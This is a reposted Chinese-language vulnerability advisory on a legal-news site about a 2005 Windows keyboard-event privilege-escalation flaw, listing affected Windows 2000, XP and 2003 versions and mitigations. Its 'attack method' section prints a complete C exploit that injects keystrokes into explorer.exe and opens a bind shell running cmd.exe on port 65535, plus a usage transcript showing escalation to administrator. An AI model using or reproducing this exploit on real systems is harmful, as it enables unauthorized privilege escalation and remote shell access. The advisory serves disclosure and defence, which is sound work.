法搜网--搜尽天下法律信息
本站网络实名:法搜
设为首页  |  法搜首页 |  法搜论坛 |  法搜排行榜 |  法律新闻  |  案例

  请您加入我们的"法律聚焦"邮件列表.
  报道法律热门新闻、经典案例分析、法律实事讨论


  
  文章搜索
内 容
类 别
  今日热点

上下班被自行车撞伤纳入工伤
刑法修正案八草案提请审议
男子强奸16女子被注射式死刑
女经理15张信用卡透支24万
绑匪心软偷放女人质后自首
检察院决定不予逮捕

国务院首次明确推进房产税改革
北京中小学取消户籍壁垒
外地生可
免费入学
河南坐11年冤狱农民赵作海获65万...
百度告青岛联通流量劫持案件胜诉

  首页 >> 网络安全 >> 最新漏洞
Microsoft Windows键盘事件权限提升漏洞
WWW.FSOU.COM 来源:www.fsou.com 时间:2005-10-21

 
涉及程序:
Microsoft Windows
 
描述:
Microsoft Windows键盘事件权限提升漏洞
 
详细:
Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft Windows中存在权限提升漏洞,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,导致以目标用户的权限执行任意代码。

起因是桌面应用程序处理通过keybd_event() function函数发送的键盘事件时存在设计错误。在当前的Microsoft安全模式中,共享桌面的应用程序之间可以发送消息,每个桌面应用程序都可以处理同一桌面中执行的每个进程,而任何应用程序都可以通过发送键盘敲击动作模拟虚拟键盘,这就允许每个每个进程都如交互用户那样发送消息和击键动作。



<*来源:Andres Tarasco (aT4r@haxorcitos.com
     Frederic Charpentier (fcharpen@xmcopartners.com

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112604220032671&w=2
     http://www.haxorcitos.com/MSRC-6005bgs-EN.txt
*>

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows XP
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows 2000SP4
Microsoft Windows 2000SP3
Microsoft Windows 2000SP2
Microsoft Windows 2000SP1
Microsoft Windows 2000
Microsoft Windows
 
攻击方法:
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* Microsoft Windows keybd_event validation vulnerability.
*       Local privilege elevation
*
* Credits:   Andres Tarasco ( aT4r _@_ haxorcitos.com )
*         I馻ki Lopez   ( ilo _@_ reversing.org )
*
* Platforms afected/tested:
*
*   - Windows 2000
*   - Windows XP
*   - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
*             http://www.reversing.org
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application executed
* with the application runas.
* b) An attacker who gains access to a service with flags INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send keys to any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and elevate privileges
* getting loggued user privileges and bypass runas/service security restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd \
*
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe    Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";

/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
   DWORD hwndid;
   int i;


   GetWindowThreadProcessId(hwnd,&hwndid);

   if (hwndid == pid){
   /*
    Replace keybd_event with SendMessage() and PostMessage() calls
   */
     printf("HANDLE Found. Attacking =)\n");
     SetForegroundWindow(hwnd);
     keybd_event(VK_LWIN,1,0,0);
     keybd_event(VkKeyScan('r'),1,0,0);
     keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
     keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
     for(i=0;i<strlen(buf);i++) {
        if (buf[i]==':') {
           keybd_event(VK_SHIFT,1,0,0);
           keybd_event(VkKeyScan(buf[i]),1,0,0);
           keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
           keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
        } else {
           if (buf[i]=='\\') {
             keybd_event(VK_LMENU,1,0,0);
             keybd_event(VK_CONTROL,1,0,0);
             keybd_event(VkKeyScan('�'),1,0,0);
             keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
             keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
             keybd_event(VkKeyScan('�'),1,KEYEVENTF_KEYUP,0);
           } else {
             keybd_event(VkKeyScan(buf[i]),1,0,0);
             keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
           }
        }
     }
     keybd_event(VK_RETURN,1,0,0);
     keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
     exit(1);
   }
}
/**************************************************************/

int BindShell(void) { //Bind Shell. POrt 65535

   SOCKET           s,s2;
   STARTUPINFO        si;
     PROCESS_INFORMATION      pi;
   WSADATA           HWSAdata;
   struct           sockaddr_in sa;
   int             len;

   if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
   if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ exit(1); }

   sa.sin_family     = AF_INET;
   sa.sin_port        = (USHORT)htons(HAXORCITOS);
   sa.sin_addr.s_addr   = htonl(INADDR_ANY);
   len=sizeof(sa);
   if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { return(-1); }
   if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
   s2 = accept(s,(struct sockaddr *)&sa,&len);
   closesocket(s);

   ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
   si.cb        = sizeof(si);
   si.wShowWindow = SW_HIDE;
   si.dwFlags     =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
   si.hStdInput   = (void *) s2; // SOCKET
   si.hStdOutput   = (void *) s2;
   si.hStdError   = (void *) s2;
   if (!CreateProcess( NULL ,"cmd.exe",NULL, NULL,TRUE, 0,NULL,NULL,&si,&pi)) {
     doFormatMessage(GetLastError());
     return(-1);
   }

   WaitForSingleObject( pi.hProcess, INFINITE );
   closesocket(s);
   closesocket(s2);
   printf("SALIMOS...\n");
   Sleep(5000);
   return(1);


}
/**************************************************************/
void main(int argc, char* argv[])
{
   HWND console_wnd = NULL;
  
   if (argc >= 2) {
     pid = atoi (argv[1]);
     strncpy(buf,argv[0],sizeof(buf)-1);
     EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
   } else {
     BindShell();
   }
}
/**************************************************************/
 
解决方案:
临时解决方法:

如果您不能立刻安装补丁或者升级,安络科技建议您采取以下措施以降低威胁:

* 仅允许可信任的应用程序运行为可访问桌面的服务。
* 不要在生产环境中使用runas服务。

厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/technet/security/
  相关文章
Microsoft Windows MSRPC SVCCTL服务枚举漏洞 (2005.10.21)
Microsoft Windows MSRPC Eventlog信息泄漏漏洞 (2005.10.21)
Microsoft Internet Explorer JPEG图形渲染溢出漏洞(MS05-038) (2005.10.21)
COM 对象 (Msdds.dll) 可能导致 Internet Explorer 意外退出(2005.10.21)
Microsoft Windows PKINIT信息泄漏和欺骗漏洞(MS05-042) (2005.10.21)
Microsoft Windows RDP远程桌面协议拒绝服务漏洞(MS05-041) (2005.10.21)
Microsoft Windows Kerberos拒绝服务漏洞(MS05-042) (2005.10.21)
Microsoft Windows Telephony服务远程代码执行漏洞(MS05-040)(2005.10.21)
Microsoft Visual Studio .NET msdds.dll远程代码执行漏洞(2005.10.21)
Microsoft IIS 5.1 FAT/FAT32文件系统网页源码泄露漏洞(2005.10.21)
 
设为首页  |  法搜首页 |  法搜论坛 |  法搜排行榜 |  关于法搜  |  招聘信息

本站网络实名:法搜 Copyright © 2007 FSou!  京ICP备05006567号不良信息举报中心

1 1